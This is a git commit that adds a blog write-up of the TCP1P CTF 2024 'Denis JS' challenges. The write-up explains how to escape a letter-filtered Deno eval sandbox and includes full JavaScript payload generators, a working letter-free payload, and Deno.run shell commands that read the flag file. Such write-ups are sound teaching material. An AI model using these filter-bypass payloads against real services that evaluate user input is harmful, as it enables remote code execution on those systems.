tcp1p writeup
This commit is contained in:
parent
01cad4a53e
commit
5b2a274c3f
|
|
@ -1,3 +1,5 @@
|
|||
tcp1p
|
||||
patriotctf
|
||||
csaw
|
||||
sekaictf
|
||||
wolvctf
|
||||
|
|
|
|||
402
ctf/tcp1p/misc_denis_js.md
Normal file
402
ctf/tcp1p/misc_denis_js.md
Normal file
|
|
@ -0,0 +1,402 @@
|
|||
---
|
||||
title: 'TCP1P CTF 2024: Misc - Denis JS, Denis JS (Fixed)'
|
||||
date: 2024/10/15
|
||||
tags: ['ctf']
|
||||
toc: true
|
||||
---
|
||||
|
||||
## Preface
|
||||
|
||||
This challenge was probably the most time-consuming CTF challenge I have ever completed (though I've sunk much more time into challenges that I don't complete :smile:). Halfway through, my computer completely locked up due to some GPU error that I get from time to time:
|
||||
|
||||
```text
|
||||
Oct 12 23:56:00 nixos kernel: [drm:amdgpu_job_timedout [amdgpu]] *ERROR* ring sdma1 timeout, signaled seq=48378, emitted seq=48379
|
||||
Oct 12 23:56:00 nixos kernel: [drm:amdgpu_job_timedout [amdgpu]] *ERROR* Process information: process pid 0 thread pid 0
|
||||
```
|
||||
|
||||
Normally, this just kills my Xorg server, but this time, the entire screen went black, the fans in my computer revved up to full speed, and the system became unresponsive, forcing me to restart.
|
||||
|
||||
As someone who likes to do all CTF-related work in `/tmp` (it's nice to have all my challenge downloads and half-baked scripts be cleaned up automatically), this caused me to lose all progress on this challenge.
|
||||
|
||||
Aside from this mishap, I also ran into so many dead ends that I describe in the [appendix](#appendix).
|
||||
|
||||
Anyways, if you know how to prevent this error from occurring, please [contact me](/contact)!
|
||||
|
||||
## Task
|
||||
|
||||
> Hello guys, Denis just make a simple calculator in js, can you try it?
|
||||
>
|
||||
> [`attachment`](https://ctf.tcp1p.team/assets/49555e9df56034db7bb04e4be343fc97569d59c1bfcfce2bbac3b54926690193/d04b9f8d64f85306b2eb3782a046d75081f1c84d06b890fe979f016e9f24572a%20(2).zip)
|
||||
|
||||
- `Solves: 91 / 1110 (8.198%)`
|
||||
- `Points: 100`
|
||||
- `Author: Dimas & ayapi`
|
||||
|
||||
> There was a trivial bug on our previous calculator's code. Hopefully, this time there won't be a any issues
|
||||
>
|
||||
> **Connection**: `nc ctf.tcp1p.team <port>`
|
||||
>
|
||||
> [`attachment`](https://ctf.tcp1p.team/assets/5181c384f76a3608912e3f474155d59813f2645ea1b5e3e8d3a825b5d8f1f79e/d04b9f8d64f85306b2eb3782a046d75081f1c84d06b890fe979f016e9f24572a.zip)
|
||||
|
||||
- `Solves: 3 / 1110 (0.270%)`
|
||||
- `Points: 703`
|
||||
- `Author: Dimas & ayapi`
|
||||
|
||||
## Writeup
|
||||
|
||||
The first challenge has the following TypeScript source code:
|
||||
|
||||
```ts
|
||||
const { stdout, stdin } = Deno;
|
||||
|
||||
async function promptUserInput(message: string): Promise<string> {
|
||||
stdout.write(new TextEncoder().encode(message));
|
||||
const buffer = new Uint8Array(300);
|
||||
const bytesRead = await stdin.read(buffer);
|
||||
const userInput = new TextDecoder().decode(buffer.subarray(0, bytesRead));
|
||||
return userInput.trim();
|
||||
}
|
||||
|
||||
promptUserInput("Enter your name: ").then(name=>{
|
||||
if (/^[a-zA-Z]{1,}$/g.test(name)) {
|
||||
stdout.write(new TextEncoder().encode("\\(OwO)/"));
|
||||
return
|
||||
}
|
||||
stdout.write(new TextEncoder().encode(eval(name)))
|
||||
});
|
||||
```
|
||||
|
||||
We are prompted for some input with a limit of 300 bytes, which is `eval`ed if it does not match the regex.
|
||||
|
||||
The regex will only match if our input consists entirely of upper- and lowercase letters, which is trivially avoided by adding a single digit or symbol, something that most code we want to `eval` has anyways.
|
||||
|
||||
Something to note is that this challenge is run through Deno instead of Node.js, so we use `Deno.run` to run a subprocess.
|
||||
|
||||
```console
|
||||
$ nc ctf.tcp1p.team 35605
|
||||
Enter your name: Deno.run({cmd:['ls', '/']})
|
||||
[object Object]bin
|
||||
deno-dir
|
||||
dev
|
||||
etc
|
||||
flag-0796d5bb5e880ff25693416ca4c98c80
|
||||
home
|
||||
...
|
||||
$ nc ctf.tcp1p.team 35605
|
||||
Enter your name: Deno.run({cmd:['cat', '/flag-0796d5bb5e880ff25693416ca4c98c80']})
|
||||
TCP1P{hope_nagi_didnt_see_i_use_his_payload_to_solve_this_challenge}
|
||||
[object Object]
|
||||
```
|
||||
|
||||
This was not intended, so a fixed version of the challenge was released with the length limit increased to 330 bytes and the body of the `then` callback changed to the following:
|
||||
|
||||
```ts
|
||||
const sanitizedName = name.replace(/[a-zA-Z]/g, '');
|
||||
stdout.write(new TextEncoder().encode(eval(sanitizedName)))
|
||||
```
|
||||
|
||||
All letters are now filtered from our input, making it much harder to evaluate useful JavaScript.
|
||||
|
||||
The existence of [JSFuck](https://jsfuck.com/) makes it clear that this is still possible, but just running our previous solution through the JSFuck compiler produces something in the thousands of characters, which is much more than we can afford. Since we have access to more than just `[]()!+` though, we can make some significant optimizations.
|
||||
|
||||
The typical way to produce JavaScript without letters is by obtaining the `Function` constructor through `(some function)['constructor']`, which lets us create a function from a string argument, similar to `eval`.
|
||||
|
||||
Getting a function is easy; we can just use an arrow function to avoid using the `function` keyword. To get `'constructor'`, we can find each character in the string representations of `false`, `true`, `{}`, and `undefined`:
|
||||
|
||||
```js
|
||||
let f = !1;
|
||||
let t = !0;
|
||||
let o = {};
|
||||
let u = 0[0];
|
||||
// 'falsetrue[object Object]undefined'
|
||||
let str = '' + !1 + !0 + {} + 0[0];
|
||||
let str_src = "''+!1+!0+{}+0[0]";
|
||||
// 'constructor' (246 characters)
|
||||
eval('constructor'
|
||||
// split into an array of each char
|
||||
.split('')
|
||||
// turn each char into "(str_src)[index of char]"
|
||||
.map(c => `(${str_src})[${str.indexOf(c)}]`)
|
||||
// concatenate each char together
|
||||
.join('+'));
|
||||
```
|
||||
|
||||
This is already a lot of characters though, as we repeat `str_src` for each char. Instead, we can make the optimization to only use one of the four sources for each char, which will halve our character usage:
|
||||
|
||||
```js
|
||||
function map_char(c) {
|
||||
let i, srcs = ["''+!1", "''+!0", "''+{}", "''+0[0]"];
|
||||
for (let src of srcs)
|
||||
if ((i = eval(src).indexOf(c)) !== -1)
|
||||
return `(${src})[${i}]`;
|
||||
throw 'not found';
|
||||
}
|
||||
// 'constructor' (122 characters)
|
||||
eval('constructor'
|
||||
.split('')
|
||||
.map(map_char)
|
||||
.join('+'));
|
||||
```
|
||||
|
||||
Another idea we could try is assigning `str_src` to a variable first in our evaluated string, and then only referring to that variable:
|
||||
|
||||
```js
|
||||
let con = 'constructor'
|
||||
.split('')
|
||||
.map(c => `_[${str.indexOf(c)}]`)
|
||||
.join('+');
|
||||
// Uncaught ReferenceError (78 characters)
|
||||
eval(`_=${str_src};` + con);
|
||||
```
|
||||
|
||||
While this works in Node.js, Deno throws an `ReferenceError`. This is because Deno runs in strict mode, which requires us to declare `_` before assigning to it. However, we cannot use any of the keywords to declare a variable as they require us to use letters.
|
||||
|
||||
We cannot overwrite an existing variable either, as there aren't any without letters. We can note that `_` is already defined when running a REPL, but that does not help us since the challenge is not run in one.
|
||||
|
||||
The solution to our problem is to use an immediately invoked function expression, which will let us declare a variable as an argument without a keyword:
|
||||
|
||||
```js
|
||||
// 'constructor' (82 characters)
|
||||
eval(`(_=>${con})(${str_src})`);
|
||||
// Function (90 characters)
|
||||
eval(`(_=>(_=>_)[${con}])(${str_src})`);
|
||||
```
|
||||
|
||||
Now that we have `Function`, we just need to spell out our commands from the previous challenge. First, we will need the letter `D`. Looking at how JSFuck produces this character, we see that we can do something like this:
|
||||
|
||||
```js
|
||||
escape('}')[2]
|
||||
// = '%7D'[2]
|
||||
// = 'D'
|
||||
|
||||
// we can only access escape like this though
|
||||
Function('return escape')()(Function)[58]
|
||||
// = escape(Function)[58]
|
||||
// = escape('function Function() { [native code] }')[58]
|
||||
// = 'function%20Function%28%29%20%7B%20%5Bnative%20code%5D%20%7D'[58]
|
||||
// = 'D'
|
||||
```
|
||||
|
||||
Spelling `escape` requires the letter `p`, which we don't have. We can get this character with the following:
|
||||
|
||||
```js
|
||||
211['toString'](31)[1]
|
||||
// = '6p'[1] (convert 211 to base 31)
|
||||
// = 'p'
|
||||
```
|
||||
|
||||
Now we need `S` and `g`, both of which are contained in `String`, something we can obtain with `''['constructor']`. Putting it all together, our solution looks like this:
|
||||
|
||||
```js
|
||||
// encode s into a concatenation of characters from source
|
||||
function encode(s, source, var_name='_') {
|
||||
let result = [];
|
||||
let t = '';
|
||||
for (let char of s) {
|
||||
// letters need to be encoded
|
||||
if (char.match(/[a-zA-Z]/)) {
|
||||
if (t) result.push(`"${t}"`), t = '';
|
||||
result.push(`${var_name}[${source.indexOf(char)}]`);
|
||||
// otherwise, we can use a literal
|
||||
// if there are consecutive literals, we can merge them to save characters
|
||||
} else {
|
||||
t += char;
|
||||
}
|
||||
}
|
||||
if (t) result.push(`"${t}"`);
|
||||
return result.join('+')
|
||||
}
|
||||
// over the course of the iife, we will concatenate various strings to the first argument
|
||||
let args = "''+!1+!0+{}+0[0]"
|
||||
let src1 = eval(args);
|
||||
let src2 = src1 + String;
|
||||
let src3 = src2 + '6p';
|
||||
let src4 = src3 + escape(Function) + Number;
|
||||
// each statement in the body of the iife, which we can chain together with the , operator
|
||||
let body = [
|
||||
// $ and $$ are the 2nd and 3rd arguments, which are left undefined
|
||||
// we first build 'constructor' from _, and assign it to $$
|
||||
// since = returns the right-hand side, we also compute (_=>_)['constructor'],
|
||||
// which we assign to $
|
||||
`$=(_=>_)[$$=${encode('constructor', src1)}]`,
|
||||
// _ += 'function String() { [native code] }'
|
||||
`_+=_[$$]`,
|
||||
// _ += '6p'
|
||||
`_+=211[${encode('toString', src2)}](31)`,
|
||||
// Function('$_=escape')()
|
||||
// we can assign to $_ without declaring it since Function does not run in strict mode
|
||||
`$(${encode('$_=escape', src3)})()`,
|
||||
// _ += escape(Function) + Number
|
||||
`_+=$_($)+0[$$]`,
|
||||
// Function("Deno.run({cmd:['ls','/']})")()
|
||||
`$(${encode("Deno.run({cmd:['ls','/']})", src4)})()`
|
||||
].join(',')
|
||||
// 328 characters
|
||||
let payload = `((_,$,$$)=>(${body}))(${args})`;
|
||||
console.log(payload)
|
||||
```
|
||||
|
||||
We can execute `ls /`, but we can't do much more than that. We obviously do not have enough characters to use the full name of the flag. Additionally, `Deno.run` does not interpret cmd as a shell command, so trying something like `od /*` will try to read the file named `/*` instead of globbing all files in `/`. For that, we would need to use `{cmd:['sh','-c','od /*']}`, which is over the limit.
|
||||
|
||||
We need to rethink our approach. After a lot of trial and error, I eventually turned my attention to the `btoa` builtin function (binary string to base64 ascii). My immediate idea was to find a string that would contain `D` in its base64, to avoid getting `escape` (and `p` and `String`).
|
||||
|
||||
If we notice that `btoa` is implemented in JavaScript instead of native code though, we can just do this instead:
|
||||
|
||||
```js
|
||||
''+btoa
|
||||
// equivalent to:
|
||||
`function btoa(data) {
|
||||
const prefix = "Failed to execute 'btoa'";
|
||||
webidl.requiredArguments(arguments.length, 1, prefix);
|
||||
data = webidl.converters.DOMString(data, prefix, "Argument 1");
|
||||
try {
|
||||
return op_base64_btoa(data);
|
||||
} catch (e) {
|
||||
if (ObjectPrototypeIsPrototypeOf(TypeErrorPrototype, e)) {
|
||||
throw new DOMException(
|
||||
"The string to be encoded contains characters outside of the Latin1 range.",
|
||||
"InvalidCharacterError",
|
||||
);
|
||||
}
|
||||
throw e;
|
||||
}
|
||||
}`
|
||||
```
|
||||
|
||||
This alone contains all of the characters we need, simplifying our payload dramatically:
|
||||
|
||||
```js
|
||||
let args = "''+!1+!0+{}+0[0]"
|
||||
let src1 = eval(args);
|
||||
let src2 = '' + btoa;
|
||||
let body = [
|
||||
`$$=(_=>_)[${encode('constructor', src1)}]`,
|
||||
`$$(${encode("$=''+btoa", src1)})()`,
|
||||
`$$(${encode("Deno.run({cmd:['sh','-c','cat /f*']})", src2, '$')})()`
|
||||
].join(',')
|
||||
// 278 bytes
|
||||
let payload = `((_,$$)=>(${body}))(${args})`
|
||||
console.log(payload)
|
||||
```
|
||||
|
||||
Now we just send our payload to the challenge and get the flag:
|
||||
|
||||
```console
|
||||
$ deno solve.js | nc ctf.tcp1p.team 35615
|
||||
Enter your name: TCP1P{hopefully_the_code_would_be_more_likely_safe_by_now}
|
||||
```
|
||||
|
||||
## Appendix
|
||||
|
||||
While the solution described above really isn't that complicated, it took me a significant amount of time to find. During this time, I found quite a few almost working solutions that are still kind of interesting.
|
||||
|
||||
### Octal escape sequence
|
||||
|
||||
There are a few different escape sequences in JavaScript. Aside from the usual escapes like `\n`, `\t`, and so forth, one noteworthy escape sequence is the octal escape. For example, `\104` is equivalent to the character with the octal code 104, or `D`.
|
||||
|
||||
Since this doesn't contain any letters, we could just replace all letters in our strings with their octal escape sequence, to bypass many of the steps listed above.
|
||||
|
||||
However, octal escape sequences are a deprecated language feature and are prohibited when running in strict mode. Other escape sequences like `\x44` or `\u0044` wouldn't work either since they contain letters.
|
||||
|
||||
If you remember from above though, `Function` functions are not run in strict mode, so we can still use an octal escape there (something I didn't realize during the CTF).
|
||||
|
||||
With this, we can improve our solution like so:
|
||||
|
||||
```js
|
||||
function octal(s) {
|
||||
return "'" + s.split('').map(c => c.match(/[a-zA-Z]/)
|
||||
? '\\\\' + c.charCodeAt().toString(8)
|
||||
: c
|
||||
).join('') + "'"
|
||||
}
|
||||
let args = "''+!1+!0+{}+0[0]"
|
||||
let src = eval(args);
|
||||
let body = [
|
||||
`_=(_=>_)[${encode('constructor', src)}]`,
|
||||
`_('_',"_(${octal("Deno.run({cmd:[`sh`,`-c`,`cat /f*`]})")})()")(_)`,
|
||||
].join(',')
|
||||
// 219 characters
|
||||
let payload = `(_=>(${body}))(${args})`
|
||||
```
|
||||
|
||||
|
||||
### prompt()
|
||||
|
||||
Before I found `btoa`, another thing I considered was finding some way to pass in some extra input to the program to avoid having to construct so many strings.
|
||||
|
||||
Looking over Deno's builtin functions, `prompt` does exactly what we want, taking in input from stdin and returning it as a string.
|
||||
|
||||
Therefore, we can just do `Function("eval(prompt())")()` and type in the rest of our payload with no restrictions. A solution using this technique is as follows:
|
||||
|
||||
```js
|
||||
let args = "''+!1+!0+{}+0[0]"
|
||||
let src1 = eval(args);
|
||||
let src2 = src1 + String + Number;
|
||||
let src3 = src2 + '6p';
|
||||
let body = [
|
||||
`_+=_[$=${encode('constructor', src1)}]+0[$]`,
|
||||
`_+=211[${encode('toString', src2)}](31)`,
|
||||
`_[$][$](${encode('eval(prompt())', src3)})()`
|
||||
].join(',')
|
||||
// 236 characters
|
||||
let payload = `((_,$)=>(${body}))(${args})`;
|
||||
```
|
||||
|
||||
Testing this locally, we see that this does in fact work:
|
||||
|
||||
```console
|
||||
$ deno dist/app.t
|
||||
Enter your name: ((_,$)=>(_+=_[$=_[14]+_[10]+_[25]+_[3]+_[5]+_[6]+_[7]+_[14]+_[5]+_[10]+_[6]]+0[$],_+=211[_[5]+_[10]+_[42]+_[5]+_[6]+_[29]+_[25]+_[47]](31),_[$][$](_[4]+_[58]+_[1]+_[2]+"("+_[104]+_[6]+_[10]+_[79]+_[104]+_[5]+"())")()))(''+!1+!0+{}+0[0])
|
||||
Prompt console.log('hiiiiiiiiiii')
|
||||
hiiiiiiiiiii
|
||||
```
|
||||
|
||||
If we try this in the real challenge though, the prompt does not show up for some reason. A glance at the source of `prompt` reveals the unfortunate truth:
|
||||
|
||||
```js
|
||||
function prompt(message = "Prompt", defaultValue) {
|
||||
defaultValue ??= "";
|
||||
|
||||
if (!stdin.isTerminal()) { // bruh
|
||||
return null;
|
||||
}
|
||||
// ...
|
||||
```
|
||||
|
||||
Since we have to access the challenge through `nc`, `stdin.isTerminal()` will be false, meaning this will always return `null`.
|
||||
|
||||
Trying to read from stdin through `Deno.stdin` is also not feasible, since it is extremely verbose (see the challenge's implementation of `promptUserInput`).
|
||||
|
||||
### Accessing name
|
||||
|
||||
Another thing we can notice is that `name`, which contains our entire unsanitized input, is not cleared in the program:
|
||||
|
||||
```js
|
||||
promptUserInput("Enter your name: ").then(name=>{
|
||||
const sanitizedName = name.replace(/[a-zA-Z]/g, '');
|
||||
stdout.write(new TextEncoder().encode(eval(sanitizedName)))
|
||||
});
|
||||
```
|
||||
|
||||
Thus, we might be able to make our input `<solution>;"Deno.run({cmd:['sh','-c','cat /f*']})//"` and execute `Function("eval(name.slice(<some index>))")()` at the end of our solution. We need to enclose this with quotes to prevent a syntax error when the letters are removed, and the `//` at the end makes the closing quote a comment when evaluating the slice.
|
||||
|
||||
This doesn't actually work though, since `Function` code is evaluated in the global scope, which does not have access to `name`. Coincidentally, there is an unrelated `name` in the global scope, which is just set to the empty string, so this won't throw an exception if you try this; you will just be evaluating nothing.
|
||||
|
||||
### Improving solution reliability
|
||||
|
||||
If you actually try running the solution, it probably won't print out anything on the first attempt. This is because ongoing subprocesses from `Deno.run` do not prevent the program from terminating.
|
||||
|
||||
It took me about two hours after finding a working solution before I realized this was the issue. By chance, I tried `sh -c ". /f* 2>&1"` which has a much higher success rate.
|
||||
|
||||
When executing `sh -c "cat /f*"`, Deno first needs to spawn `sh`, which then spawns `cat`. `.` is a shell builtin, preventing the second process spawn. This problem didn't show up for me in the unfixed challenge since I just ran `ls` and `cat` separately, without using `sh`.
|
||||
|
||||
Appending `;for(;;);` (infinite loop) to the `Function` code also solves this issue.
|
||||
|
||||
## Reference
|
||||
|
||||
- [Deno.run](https://docs.deno.com/api/deno/~/Deno.run)
|
||||
- [JSFuck source](https://github.com/aemkei/jsfuck/blob/main/jsfuck.js)
|
||||
- [btoa](https://developer.mozilla.org/docs/Web/API/Window/btoa)
|
||||
- [Strict mode](https://developer.mozilla.org/docs/Web/JavaScript/Reference/Strict_mode)
|
||||
- [JS escape sequences](https://developer.mozilla.org/docs/Web/JavaScript/Reference/Lexical_grammar#string_literals)
|
||||
- [Deno prompt source](https://github.com/denoland/deno/blob/v1.40/runtime/js/41_prompt.js#L37)
|
||||
|
|
@ -22,6 +22,7 @@ body {
|
|||
}
|
||||
h1 { font-size: 20px; }
|
||||
h2 { font-size: 18px; }
|
||||
h3 { font-size: 16px; }
|
||||
ul { padding-left: 15px; }
|
||||
h1::before, h2::before, h3::before {
|
||||
display: block;
|
||||
|
|
|
|||
Loading…
Reference in a new issue